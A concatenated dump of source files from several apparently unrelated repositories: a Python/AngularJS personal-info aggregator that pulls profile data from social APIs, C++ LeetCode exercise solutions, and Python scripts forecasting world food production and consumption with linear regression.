"avatar_url": resp["avatar_url"],
"email": resp["email"]
}
def projects(self):
pat = Config.get().GitHub.pattern_of_pride
resp = requests.get(_(self._base_url, "repos"))
for repo in resp.json():
if not repo["description"].endswith(pat):
continue
yield {
"name": repo["name"],
"language": repo["language"],
"url": repo["html_url"],
"description": repo["description"].replace(pat, "").strip()
}
class LinkedIn(object):
@staticmethod
def _get_linked_in_date(blob):
if blob is None:
return None
d = datetime(blob["year"], blob["month"], 1)
return d.isoformat()
def __init__(self):
ln = Config.get().LinkedIn
self._cl = OAuth1Session(ln.consumer_key, ln.consumer_secret, ln.user_token, ln.user_secret)
def _profile_request(self, sels):
url = "https://api.linkedin.com/v1/people/~" + ":" + "(" + ",".join(sels) + ")"
return self._cl.get(url, headers={'x-li-format': 'json', 'Content-Type': 'application/json'}).json()
def profile(self):
# https://developers.linkedin.com/documents/profile-fields
info = self._profile_request(["firstName", "lastName", "headline", "summary"])
return {
"first_name": info["firstName"],
"last_name": info["lastName"],
"position": info["headline"],
"summary": info["summary"]
}
def positions(self):
rval = self._profile_request(["positions"])
if not rval:
return
for job in rval["positions"]["values"]:
yield {
"company": job["company"]["name"],
"start_date": self._get_linked_in_date(job["startDate"]),
"end_date": self._get_linked_in_date(job.get("endDate", None)),
"title": job["title"],
"description": job["summary"]
}
def education(self):
rval = self._profile_request(["educations"])
if not rval:
return
for pos in rval["educations"]["values"]:
yield {
"school_name": pos["schoolName"],
"start_date": self._get_linked_in_date(pos["startDate"]),
"end_date": self._get_linked_in_date(pos.get("endDate", None)),
"degree": pos.get("degree", None),
"field": pos.get("fieldOfStudy", None)
}
def languages(self):
rval = self._profile_request(["languages"])
if not rval:
return
for lang in rval["languages"]["values"]:
yield lang["language"]["name"]
def skills(self):
rval = self._profile_request(["skills"])
if not rval:
return
for skill in rval["skills"]["values"]:
yield skill["skill"]["name"]
class Picasa(object):
def __init__(self):
self._base_url = _("https://picasaweb.google.com/data/feed/api/user", Config.get().Picasa.username)
def albums(self):
resp = requests.get(self._base_url, params={
"alt": "json"
})
pp = Config.get().Picasa.pattern_of_pride
for album in resp.json()["feed"]["entry"]:
title = album["title"]["$t"]
if not title.endswith(pp):
continue
yield {
"name": title.replace(pp, ""),
"id": album["gphoto$id"]["$t"],
"photo_count": album["gphoto$numphotos"]["$t"],
"thumbnail_url": album["media$group"]["media$content"][0]["url"]
}
def photos(self, id):
resp = requests.get(_(self._base_url, "albumid", id), params={
"alt": "json",
"imgmax": Config.get().Picasa.max_photo_width
})
for photo in resp.json()["feed"]["entry"]:
yield {
"name": photo["title"]["$t"],
"src": photo["content"]["src"],
"thumbnail_url": photo["media$group"]["media$thumbnail"][2]["url"]
}
class YouTube(object):
def __init__(self):
self._base_url = "https://www.googleapis.com/youtube/v3"
@property
def _uploads_list_id(self):
resp = requests.get(_(self._base_url, "channels"), params={
"key": Config.get().Google.api_key,
"forUsername": Config.get().YouTube.username,
"part": "contentDetails"
})
return resp.json()["items"][0]["contentDetails"]["relatedPlaylists"]["uploads"]
def videos(self):
next_page_token = None
while True:
params = {
"key": Config.get().Google.api_key,
"playlistId": self._uploads_list_id,
"part": "snippet"
}
if next_page_token:
params["pageToken"] = next_page_token
resp = requests.get(_(self._base_url, "playlistItems"), params=params)
data = resp.json()
for playlist_item in data["items"]:
title = playlist_item["snippet"]["title"]
if not title.endswith(Config.get().YouTube.pattern_of_pride):
continue
yield {
"name": title.replace(Config.get().YouTube.pattern_of_pride, ""),
"thumbnail_url": playlist_item["snippet"]["thumbnails"]["medium"]["url"],
"video_uri": playlist_item["snippet"]["resourceId"]["videoId"],
"description": playlist_item["snippet"]["description"]
}
next_page_token = data.get("nextPageToken", None)
if not next_page_token:
break
class Blogger(object):
def __init__(self):
self._base_url = "https://www.googleapis.com/blogger/v3"
def posts(self):
next_page_token = None
while True:
params = {
"key": Config.get().Google.api_key
}
if next_page_token:
params["pageToken"] = next_page_token
resp = requests.get(_(self._base_url, "blogs", Config.get().Blogger.blog_id, "posts"), params=params)
data = resp.json()
if "items" not in data:
break
for post in data["items"]:
yield {
"name": post["title"],
"content": post["content"],
"published": parser.parse(post["published"], fuzzy=True).isoformat()
}
next_page_token = data.get("nextPageToken", None)
if not next_page_token:
break
<file_sep>from .db_api import Link as BaseLink, Resource as BaseResource, Service as BaseService
class LocalAdmin:
pass
class Resource(BaseResource):
def can_update(self, user, pk, data):
return user is LocalAdmin
def can_create(self, user, data):
return user is LocalAdmin
def can_delete(self, user, pk):
return user is LocalAdmin
class Link(BaseLink):
def can_update(self, user, pk, rel_pk, data):
return user is LocalAdmin
def can_create(self, user, pk, rel_pk, data):
return user is LocalAdmin
def can_delete(self, user, pk, rel_pk):
return user is LocalAdmin
class Service(BaseService):
def _get_user(self, data):
return data
<file_sep>Install the package and set auth credentials:
sudo -H ./deploy.sh
sudo cp config.json /etc/personal-info-aggregator/
Update data:
sudo -H personal-info-aggregator -s
Run test server:
sudo -H personal-info-aggregator -t
<file_sep>import json
import os
class Config(object):
cache = None
@classmethod
def get(cls):
if cls.cache:
return cls.cache
home_path = os.path.expanduser("~/config.json")
if os.path.exists(home_path):
file_name = home_path
else:
file_name = "/etc/personal-info-aggregator/config.json"
with open(file_name) as fil:
conf = json.load(fil)
class Item(object):
pass
rval = Item()
for key, value in conf.iteritems():
item = Item()
for item_name, item_value in value.iteritems():
setattr(item, item_name, item_value)
setattr(rval, key, item)
cls.cache = rval
return rval
<file_sep>image:
docker build -t gurunars .
session: image
docker run -i -t gurunars /bin/bash
<file_sep>#!/usr/bin/python
import sys
import os
sys.path.append(os.path.dirname(__file__))
from personal_info_aggregator.run import run
run()
<file_sep>var site = angular.module('site', ["ngRoute", "ngCookies", "ngSanitize", 'infinite-scroll']);
var nick_name = "gurunars";
var ROOT_URL = "http://api.gurunars.com";
// test site
//var ROOT_URL = "http://127.0.0.1:8666";
site.run(function($rootScope, $http) {
$http({
method: "GET",
url: ROOT_URL + '/me.Profile/' + nick_name,
cache: true
}).success(function(data) {
data.email = data.email.replace("@", "[AT]");
$rootScope.user = data;
})
});
site.controller('mainController', function($scope, $cookieStore, $location){
$scope.minimized = $cookieStore.get('minimized');
$scope.toggleMinimize = function() {
if ($scope.minimized) {
$scope.minimized = false;
$cookieStore.put('minimized', false);
} else {
$scope.minimized = true;
$cookieStore.put('minimized', true);
}
}
$scope.go = function (path) {
$location.path(path);
};
$scope.$on('appActivated', function(event, data) {$scope.activeApp = data});
})
function getItems($scope, $http, $q, resourceName, callback, itemResourceName) {
var baseUrl = ROOT_URL + "/me." + resourceName;
if (typeof itemResourceName === 'undefined') {
var itemBaseUrl = baseUrl;
} else {
var itemBaseUrl = ROOT_URL + "/me." + itemResourceName;
}
var itemPromises = new Array();
$http({
method: "GET",
url: baseUrl,
cache: true
}).success(function(data) {
for (i in data) {
itemPromises.push($http({method: 'GET', url: itemBaseUrl + "/" + escape(data[i]), cache: 'true'}));
}
$q.all(itemPromises).then(function(data){
var results = new Array();
for (i in data) {
results.push(data[i].data);
}
callback(results)
});
});
}
site.controller('blog', function ($scope, $http, $sanitize, $q) {
$scope.$emit('appActivated', "blog");
getItems($scope, $http, $q, "BlogPost", function(data){
for (i in data) {
var post = data[i];
post["content"] = $sanitize(post["content"]);
}
$scope.posts = data;
});
})
site.controller('photos', function ($scope, $http, $q) {
$scope.$emit('appActivated', "photos");
$scope.albumPhotos = [];
var albums = [];
$scope.loadNextAlbum = function() {
var album = albums.pop();
if(typeof album === 'undefined'){
return
};
getItems($scope, $http, $q, "Album/" + album["name"] + "/photos", function(data) {
$scope.albumPhotos.push({
"album": album,
"photos": data
});
}, "Photo");
}
getItems($scope, $http, $q, "Profile/" + nick_name + "/albums", function(data) {
albums = data;
$scope.loadNextAlbum();
}, "Album");
})
site.controller('videos', function ($scope, $http, $q) {
$scope.$emit('appActivated', "videos");
getItems($scope, $http, $q, "Profile/" + nick_name + "/videos", function(data) {
$scope.videos = data;
}, "Video");
})
site.controller('me', function ($scope, $http) {
$scope.$emit('appActivated', "me");
})
// sort on key values
function keysrt(key,desc) {
return function(a,b){
return desc ? ~~(a[key] > b[key]) : ~~(a[key] < b[key]);
}
}
function loadJobs($scope, $http, $q) {
getItems($scope, $http, $q, "Profile/" + nick_name + "/jobs", function(data){
data.sort(keysrt('start_date'));
for (i in data) {
var job = data[i];
// TODO: DateField is missing in ResourceAPI. As soon as it appears - the 4 lines below can be removed
job.start_date = job.start_date.replace("T00:00:00", "");
if (job.end_date) {
job.end_date = job.end_date.replace("T00:00:00", "");
}
}
$scope.jobsMap = _.groupBy(data, "company");
}, "Job");
}
site.controller('jobs', function ($scope, $http, $q) {
$scope.$emit('appActivated', "jobs");
loadJobs($scope, $http, $q);
})
function loadProjects($scope, $http, $q) {
getItems($scope, $http, $q, "Profile/" + nick_name + "/projects", function(results) {
$scope.repoMap = _.groupBy(results, "language");
}, "Project");
}
site.controller('projects', function ($scope, $http, $q) {
$scope.$emit('appActivated', "projects");
loadProjects($scope, $http, $q);
})
site.controller('photo', function ($scope, $http, $routeParams) {
$scope.$emit('appActivated', "photos");
$http({
method: "GET",
url: ROOT_URL + '/me.Photo/' + escape($routeParams.photoId),
cache: true
}).success(function(data) {
$scope.photo = data;
})
})
site.controller('video', function ($scope, $http, $routeParams, $sce) {
$scope.$emit('appActivated', "videos");
$http({
method: "GET",
url: ROOT_URL + '/me.Video/' + escape($routeParams.videoId),
cache: true
}).success(function(data) {
data.youTubeUri = $sce.trustAsResourceUrl("https://www.youtube.com/embed/" + data.video_uri);
$scope.video = data;
})
})
site.controller('cv', function ($scope, $http, $q) {
$scope.$emit('appActivated', "cv");
loadProjects($scope, $http, $q);
loadJobs($scope, $http, $q);
})
site.config(['$routeProvider',
function($routeProvider) {
$routeProvider.
when('/blog', {
templateUrl: '/templates/blog.html',
controller: 'blog'
}).
when('/photos', {
templateUrl: '/templates/photos.html',
controller: 'photos'
}).
when('/photos/:photoId', {
templateUrl: '/templates/photo.html',
controller: 'photo'
}).
when('/videos', {
templateUrl: '/templates/videos.html',
controller: 'videos'
}).
when('/videos/:videoId', {
templateUrl: '/templates/video.html',
controller: 'video'
}).
when('/me', {
templateUrl: '/templates/me.html',
controller: 'me'
}).
when('/jobs', {
templateUrl: '/templates/jobs.html',
controller: 'jobs'
}).
when('/projects', {
templateUrl: '/templates/projects.html',
controller: 'projects'
}).
when('/cv', {
templateUrl: '/templates/cv.html',
controller: 'cv'
}).
otherwise({
redirectTo: '/me'
});
}]);
<file_sep>from resource_api.interfaces import Link as BaseLink, Resource as BaseResource
from resource_api.service import Service as BaseService
from .storage import PersistentDict
from .settings import Config
class Resource(BaseResource):
def __init__(self, context):
super(Resource, self).__init__(context)
self._storage = context
def exists(self, user, pk):
return pk in self._storage.get(self.get_name(), {})
def get_data(self, user, pk):
return self._storage.get(self.get_name(), {}).get(pk)
def delete(self, user, pk):
self._storage.get(self.get_name(), {}).pop(pk)
def create(self, user, pk, data):
if self.get_name() not in self._storage:
self._storage[self.get_name()] = {}
self._storage[self.get_name()][pk] = data
def update(self, user, pk, data):
self._storage[self.get_name()][pk].update(data)
def get_uris(self, user, params=None):
return self._storage.get(self.get_name(), {}).keys()
def get_count(self, user, params=None):
return len(self.get_uris(params))
class Link(BaseLink):
def __init__(self, context):
super(Link, self).__init__(context)
self._storage = context
def exists(self, user, pk, rel_pk):
return rel_pk in self._storage.get((pk, self.get_name()), {})
def get_data(self, user, pk, rel_pk):
return self._storage.get((pk, self.get_name()), {}).get(rel_pk)
def create(self, user, pk, rel_pk, data=None):
key = (pk, self.get_name())
if key not in self._storage:
self._storage[key] = {}
self._storage[key][rel_pk] = data
def update(self, user, pk, rel_pk, data):
key = (pk, self.get_name())
self._storage[key][rel_pk].update(data)
def delete(self, user, pk, rel_pk):
self._storage.get((pk, self.get_name()), {}).pop(rel_pk)
def get_uris(self, user, pk, params=None):
return self._storage.get((pk, self.get_name()), {}).keys()
def get_count(self, user, pk, params=None):
return len(self.get_uris(pk, params))
class Service(BaseService):
def __init__(self):
super(Service, self).__init__()
self._storage = PersistentDict(Config.get().Storage.pickle_path)
def _get_context(self):
return self._storage
def save(self):
self._storage.sync()
def clear(self):
self._storage.clear()
<file_sep>import argparse
from werkzeug.serving import run_simple
from resource_api_http.http import Application
from .sync import sync
from .service import PersonalService
from .settings import Config
def run():
parser = argparse.ArgumentParser(description="Start info aggregator")
group = parser.add_mutually_exclusive_group()
group.add_argument("-s", "--sync", action="store_true",
help="sync data from the cloud into the local DB")
group.add_argument("-t", "--test", action="store_true",
help="start test version of the server")
args = parser.parse_args()
port = Config.get().Storage.http_port
if args.sync:
sync()
elif args.test:
srv = PersonalService()
app = Application(srv, debug=True)
run_simple('127.0.0.1', port, app, use_debugger=True,
use_reloader=True)
else:
parser.print_help()
<file_sep>#!/bin/bash
apt-get -y update
apt-get -y install python-pip apache2 libapache2-mod-wsgi
pip install --upgrade .
pip install requests==2.5.3
cp config/personal_info_aggregator.conf /etc/apache2/sites-available/
cp -ar static /usr/share/personal-info-aggregator/
a2enmod headers
a2ensite personal_info_aggregator.conf
service apache2 restart
<file_sep>import pickle, os, shutil
from collections import OrderedDict
class PersistentDict(OrderedDict):
def __init__(self, filename, *args, **kwds):
OrderedDict.__init__(self, *args, **kwds)
self.filename = os.path.abspath(os.path.expanduser(filename))
self.load()
def sync(self):
tempname = self.filename + '.tmp'
with open(tempname, 'wb') as fil:
pickle.dump(OrderedDict(self), fil, 2)
shutil.move(tempname, self.filename)
def load(self):
if not os.path.exists(self.filename):
return
with open(self.filename, 'rb') as fil:
return self.update(pickle.load(fil))
def clear(self):
OrderedDict.clear(self)
path = self.filename
if os.path.exists(path):
os.remove(path)
| f57338fd47b4b98fc7363fad3fbacaa6954c2b15 | [
"Markdown",
"JavaScript",
"Makefile",
"Python",
"Shell"
] | 15 | Python | gurunars/api.gurunars.github.io | 5ecdadde0e413580c797ac70c26b0f64f6dd12e4 | cab3ffed01e417461044fbc45ebcdbc6c4a40648 |
refs/heads/master | <repo_name>loklaus/LeetCodeEx<file_sep>/260.Single Number III.cpp
// 260.Single Number III.cpp : 定义控制台应用程序的入口点。
//
/*
Given an array of numbers nums, in which exactly two elements appear only once and all the other elements appear exactly twice.
Find the two elements that appear only once.
For example:
Given nums = [1, 2, 1, 3, 2, 5], return [3, 5].
Note:
The order of the result is not important. So in the above example, [5, 3] is also correct.
Your algorithm should run in linear runtime complexity. Could you implement it using only constant space complexity?
*/
#include "stdafx.h"
#include <iostream>
#include <vector>
#include <unordered_set>
using namespace std;
class Solution {
public:
vector<int> singleNumber(vector<int>& nums) {
/*unordered_set<int> tempSet;
for (auto var : nums)
{
auto iter = tempSet.find(var);
if (iter == tempSet.end())
{
tempSet.insert(var);
}
else
tempSet.erase(iter);
}
return vector<int>( tempSet.cbegin(), tempSet.cend() );*/
int len = nums.size();
int AxorB = 0;
for (int i = 0; i < len; i++)
{
AxorB ^= nums[i];
}
int mask = AxorB & (~(AxorB - 1)); //取的AxorB中的最后一位二进制位
int A = 0; int B = 0;
for (int i = 0; i < len; i++)
{
if ((mask&nums[i]) == 0)
A ^= nums[i];
else
B ^= nums[i];
}
return vector<int>({ A, B });
}
};
int _tmain(int argc, _TCHAR* argv[])
{
vector<int> vec{ 1, 2, 1, 3, 2, 5 };
Solution solt;
solt.singleNumber(vec);
for (auto var : solt.singleNumber(vec))
cout << var << " ";
return 0;
}
<file_sep>/242.Valid Anagram.cpp
// 242.Valid Anagram.cpp : 定义控制台应用程序的入口点。
//
/*
Given two strings s and t, write a function to determine if t is an anagram of s.
For example,
s = "anagram", t = "nagaram", return true.
s = "rat", t = "car", return false.
Note:
You may assume the string contains only lowercase alphabets.
Follow up:
What if the inputs contain unicode characters? How would you adapt your solution to such case?
Subscribe to see which companies asked this question
*/
#include "stdafx.h"
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
class Solution {
public:
bool isAnagram(string s, string t) {
/*sort(s.begin(), s.end());
sort(t.begin(), t.end());
return s == t;*/
// only lowercase alphabets
if (s.length() != t.length())return false;
int len = s.length();
int bit[26]{0};
for (int i = 0; i < len; i++)
{
bit[s[i] - 'a']++;
}
for (int i = 0; i < len; i++)
{
if (--bit[t[i] - 'a'] < 0)
return false;
}
return true;
}
};
int _tmain(int argc, _TCHAR* argv[])
{
Solution solt;
cout << solt.isAnagram("a", "b") << endl;
return 0;
}
<file_sep>/292.Nim Game.cpp
// 292.Nim Game.cpp : 定义控制台应用程序的入口点。
//
/*
You are playing the following Nim Game with your friend: There is a heap of stones on the table,
each time one of you take turns to remove 1 to 3 stones.
The one who removes the last stone will be the winner.
You will take the first turn to remove the stones.
Both of you are very clever and have optimal strategies for the game.
Write a function to determine whether you can win the game given the number of stones in the heap.
For example, if there are 4 stones in the heap, then you will never win the game: no matter 1, 2, or 3 stones you remove,
the last stone will always be removed by your friend.
Hint: If there are 5 stones in the heap, could you figure out a way to remove the stones such that you will always be the winner?
*/
#include "stdafx.h"
#include <iostream>
class Solution {
public:
bool canWinNim(int n) {
if (n >= 4)
{
// 若我拿完后的石头数为4的倍数,则我always be the winner
if ((n - 1) % 4 != 0 && (n - 2) % 4 != 0 && (n - 3) % 4 != 0)
return false;
}
return true;
}
};
<file_sep>/README.md
# LetCodeEx
## [292.Nim Game](https://github.com/loklaus/LeetCodeEx/blob/master/292.Nim%20Game.cpp)
## [258.Add Digits](https://github.com/loklaus/LeetCodeEx/blob/master/258.Add%20Digits.cpp)
## [260.Single Number](https://github.com/loklaus/LeetCodeEx/blob/master/260.Single%20Number%20III.cpp)
## [283.Move Zeroes](https://github.com/loklaus/LeetCodeEx/blob/master/283.Move%20Zeroes.cpp)
## [242.Valid Anagram](https://github.com/loklaus/LeetCodeEx/blob/master/242.Valid%20Anagram.cpp)
## [263.Ugly Number](https://github.com/loklaus/LeetCodeEx/blob/master/263.Ugly%20Number.cpp)
<file_sep>/258.Add Digits.cpp
// 258.Add Digits.cpp : 定义控制台应用程序的入口点。
//
/*
Given a non-negative integer num, repeatedly add all its digits until the result has only one digit.
For example:
Given num = 38, the process is like: 3 + 8 = 11, 1 + 1 = 2. Since 2 has only one digit, return it.
Follow up:
Could you do it without any loop/recursion in O(1) runtime?
Hint:
A naive implementation of the above process is trivial. Could you come up with other methods?
What are all the possible results?
How do they occur, periodically or randomly?
You may find this Wikipedia article useful.[https://en.wikipedia.org/wiki/Digital_root]
*/
#include "stdafx.h"
#include <iostream>
using std::cout;
using std::endl;
class Solution {
public:
int addDigits(int num) {
if (num == 0)
return 0;
if (num % 9 == 0)
return 9;
return num - 9 * (num / 9);
}
};
int _tmain(int argc, _TCHAR* argv[])
{
Solution solu;
cout << solu.addDigits(931) << endl;
return 0;
}
<file_sep>/263.Ugly Number.cpp
// 263.Ugly Number.cpp : 定义控制台应用程序的入口点。
//
/*
Write a program to check whether a given number is an ugly number.
Ugly numbers are positive numbers whose prime factors only include 2, 3, 5. For example, 6, 8 are ugly while 14 is not ugly since it includes another prime factor 7.
Note that 1 is typically treated as an ugly number.
*/
#include "stdafx.h"
#include <iostream>
using namespace std;
class Solution {
public:
bool isUgly(int num) {
if (num < 0 )
return false;
// 根据定理: 每个正整数都可以被唯一的表示为一组素数的乘积。
// 用2、3、5对num来进行整除,最后一定得到的是质数或者1
while (num >= 2 && num % 2 == 0) num /= 2;
while (num >= 3 && num % 3 == 0) num /= 3;
while (num >= 5 && num % 5 == 0) num /= 5;
return num == 1;
}
};
int _tmain(int argc, _TCHAR* argv[])
{
Solution solut;
cout << solut.isUgly(22) << endl;
return 0;
}
<file_sep>/283.Move Zeroes.cpp
// 283.Move Zeroes.cpp : 定义控制台应用程序的入口点。
//
/*
Given an array nums, write a function to move all 0's to the end of
it while maintaining the relative order of the non-zero elements.
For example, given nums = [0, 1, 0, 3, 12],
after calling your function, nums should be [1, 3, 12, 0, 0].
Note:
You must do this in-place without making a copy of the array.
Minimize the total number of operations.
*/
#include "stdafx.h"
#include <iostream>
#include <vector>
using namespace std;
class Solution {
public:
void moveZeroes(vector<int>& nums) {
/*int i = 0, j = nums.size();
if (i == j) return;
while ( j > 0 && nums[j - 1] == 0)j--;
if (j <= i) return;
for (int i = 0; i < j; i++)
{
if (nums[i] == 0)
{
for (int k = i; k < j - 1; k++)
{
nums[k] = nums[k + 1];
}
nums[--j] = 0;
i--;
}
}*/
int cnt = 0;//统计非0数个数
for (size_t i = 0; i < nums.size(); i++)
{
if (nums[i] != 0)
{
nums[cnt++] = nums[i];
}
}
for (size_t i = cnt; i < nums.size(); i++)
{
nums[i] = 0;
}
}
};
int _tmain(int argc, _TCHAR* argv[])
{
vector<int> vec{1, 0, 0, 1, 0, 1};
Solution solt;
solt.moveZeroes(vec);
for each (int var in vec)
cout << var << " ";
cout << endl;
return 0;
}
| c8b7bea90f122bd3b3cd7e2c453cb0f11ac59388 | [
"Markdown",
"C++"
] | 7 | C++ | loklaus/LeetCodeEx | 1f3f46450a8ac2d6d49b54399ee9a2ab29aa8507 | 0b23115fdaca82d8fb11c48cdaf00be9ee76db5a |
refs/heads/main | <file_sep>#include<iostream>
using namespace std;
int main()
{
float x1, x2, y1, y2, e;
printf("enter x1");
scanf_s("%f", &x1);
printf("enter x2");
scanf_s("%f", &x2);
printf("enter y1");
scanf_s("%f", &y1);
printf("enter y2");
scanf_s("%f", &y2);
e = sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1));
printf( "distance between two 2-dimensional coordinates,%f ", e);
return(0);
}
<file_sep># distance-2-point | df11b60a3bd9693380fff37952c578fc6cfb695d | [
"Markdown",
"C++"
] | 2 | C++ | team9-hcmus/distance-2-point | c71f8ffb170a75bacfe0349b511031bcd1f34083 | bf03e7d949e30b8fcd3ede408cbe5d842c4e9fa7 |
refs/heads/master | <repo_name>napster9010/TP1_Labo1_UP<file_sep>/src/entities/Rueda.java
package entities;
public class Rueda {
private String color;
private float radio;
private String tipoMaterial;
public Rueda() {
this.color = "Blanco";
this.radio = 18.0f;
this.tipoMaterial = "chapa";
}
public String getColor(){
return this.color;
}
public float getRadio(){
return this.radio;
}
public String getTipoMaterial(){
return this.tipoMaterial;
}
public String setColor(String color){
return this.color = color;
}
public float setRadio(float radio){
return this.radio = radio;
}
public String setTipoMaterial(String tipo_material){
return this.tipoMaterial = tipo_material;
}
public String toString(){
return "\nColor: " + this.color +
"\nRadio: " + this.radio +
"\nTipo de material: " + this.tipoMaterial + "\n\n";
}
}
<file_sep>/src/entities/Auto.java
package entities;
public class Auto{
private Motor motor;
private CajaVelocidad cajaVelocidad;
private Rueda rueda;
private int cantidadPuertas;
private boolean tieneAireacondicionado;
public Motor getMotor(){
return this.motor;
}
public CajaVelocidad getCajaVelocidades(){
return this.cajaVelocidad;
}
public Rueda getRueda(){
return this.rueda;
}
public int getCantidadPuertas(){
return this.cantidadPuertas;
}
public boolean getTieneAireacondicionado(){
return this.tieneAireacondicionado;
}
public void setMotor(Motor motor){
this.motor = motor;
}
public void setCajaVelocidad(CajaVelocidad cajaVelocidad){
this.cajaVelocidad = cajaVelocidad;
}
public void setRueda(Rueda rueda){
this.rueda = rueda;
}
public void setCantidadPuertas(int cantidadPuertas){
this.cantidadPuertas = cantidadPuertas;
}
public void setTieneAireacondicionado(boolean tieneAireacondicionado){
this.tieneAireacondicionado = tieneAireacondicionado;
}
public String toString(){
return "Datos del motor: \n" + motor +
"Ruedas del auto: \n" + rueda +
"Detalle caja de velocidad: \n" + cajaVelocidad +
"Cantidad de Puertas: "+ this.cantidadPuertas + "\n\n";
}
} | f518dfb49eb7e517075fca34f83c5c3fc1d1f815 | [
"Java"
] | 2 | Java | napster9010/TP1_Labo1_UP | 10f4942a777a54319a610afb0f3a89a471bf663c | 10f3f50bf1ee458bd0135af3f9ad656aa18f34f3 |
refs/heads/master | <file_sep># data-muggle
Repository that hosts analytics projects.
Predictive analytics being the science where we can get future predictions to solve world problems related to any field is something that sparked this project. This project uses world food consumption dataset that depicts various countries and their food production in different category of food grown along with the country's consumption which can be imports from other countries as well. Algorithms like SVM, Decision trees, Linear regression are used. CLustering to combine the related food from various categories is executed. Please refer for the files for complete working of the project.
<file_sep>import pandas as pd
import matplotlib.pyplot as plt
import statsmodels.api as sm2
import numpy as np
import statsmodels.formula.api as smf
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn import linear_model
from sklearn.svm import SVC
from sklearn.multiclass import OneVsRestClassifier
from sklearn.preprocessing import LabelBinarizer
from sklearn.linear_model import LinearRegression
from sklearn import svm
df = pd.read_csv("Data.csv")
years=df.groupby('Year').groups.keys()
country=df.groupby('Country').groups.keys()
a=[]
ylim=2035
fp=open("World_Food_Production.txt",'w')
allp=[]
prod=0
allpr=[]
year=2015
b=[]
j=0
for i in years:
all1=df[(df['Year']==i)]
b.append([j,i])
prod=all1['Food Production'].values.sum()
allp.append(prod)
j+=1
for i in allp:
allpr.append(i)
print allpr
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+str(year)+" : "+str(pred[0]))
#print(str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("World_Food_Consumption.txt",'w')
allp=[]
prod=0
allpr=[]
year=2015
b=[]
j=0
for i in years:
all1=df[(df['Year']==i)]
b.append([j,i])
prod=all1['Food Consumption'].values.sum()
allp.append(prod)
j+=1
for i in allp:
allpr.append(i)
print allpr
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+str(year)+" : "+str(pred[0]))
#print(str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("World_Population.txt",'w')
allp=[]
prod=0
allpr=[]
year=2015
b=[]
j=0
for i in years:
all1=df[(df['Year']==i)]
b.append([j,i])
prod=all1['Population'].values.sum()
allp.append(prod)
j+=1
for i in allp:
allpr.append(i)
print allpr
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+str(year)+" : "+str(pred[0]))
#print(str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("World_Wastage.txt",'w')
allp=[]
prod=0
allpr=[]
year=2015
b=[]
j=0
for i in years:
all1=df[(df['Year']==i)]
b.append([j,i])
prod=all1['Wastage'].values.sum()
allp.append(prod)
j+=1
for i in allp:
allpr.append(i)
print allpr
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+str(year)+" : "+str(pred[0]))
#print(str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
<file_sep>import pandas as pd
import matplotlib.pyplot as plt
import statsmodels.api as sm2
import numpy as np
import statsmodels.formula.api as smf
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn import linear_model
from sklearn.linear_model import LinearRegression
from sklearn import svm
df = pd.read_csv("Data.csv")
years=df.groupby('Year').groups.keys()
country=df.groupby('Country').groups.keys()
a=[]
ylim=2035
for i in range(0,len(country)):
for j in years:
a.append(([i,j]))
fp=open("foodproduction.txt",'w')
for j in range(0,len(country)):
allp=[]
prod=[]
allpr=[]
year=2015
b=[]
for i in years:
all1=df[(df['Country']==country[j])&(df['Year']==i)]
b.append([j,i])
prod=all1['Food Production'].values
allp.append(prod)
for i in allp:
allpr.append(i[0])
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+country[j]+" , "+str(year)+" : "+str(pred[0]))
#print(country[j]+" , "+str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("foodconsumption.txt",'w')
for j in range(0,len(country)):
allp=[]
prod=[]
allpr=[]
year=2015
b=[]
for i in years:
all1=df[(df['Country']==country[j])&(df['Year']==i)]
b.append([j,i])
prod=all1['Food Consumption'].values
allp.append(prod)
for i in allp:
allpr.append(i[0])
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+country[j]+" , "+str(year)+" : "+str(pred[0]))
#print(country[j]+" , "+str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("Population.txt",'w')
for j in range(0,len(country)):
allp=[]
prod=[]
allpr=[]
year=2015
b=[]
for i in years:
all1=df[(df['Country']==country[j])&(df['Year']==i)]
b.append([j,i])
prod=all1['Population'].values
allp.append(prod)
for i in allp:
allpr.append(i[0])
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+country[j]+" , "+str(year)+" : "+str(pred[0]))
#print(country[j]+" , "+str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
fp=open("Wastage.txt",'w')
for j in range(0,len(country)):
allp=[]
prod=[]
allpr=[]
year=2015
b=[]
for i in years:
all1=df[(df['Country']==country[j])&(df['Year']==i)]
b.append([j,i])
prod=all1['Wastage'].values
allp.append(prod)
for i in allp:
allpr.append(i[0])
while year<=ylim:
X = np.array(b)
Y = np.array(allpr)
clf = LinearRegression()
clf.fit(X,Y)
pred=clf.predict([j, year])
fp.write("\n"+country[j]+" , "+str(year)+" : "+str(pred[0]))
#print(country[j]+" , "+str(year)+" : "+str(pred[0]))
#print b,allpr
year+=1
fp.close()
| e708acfd4a835a35e6316c14fe599a70994c8710 | [
"Markdown",
"Python"
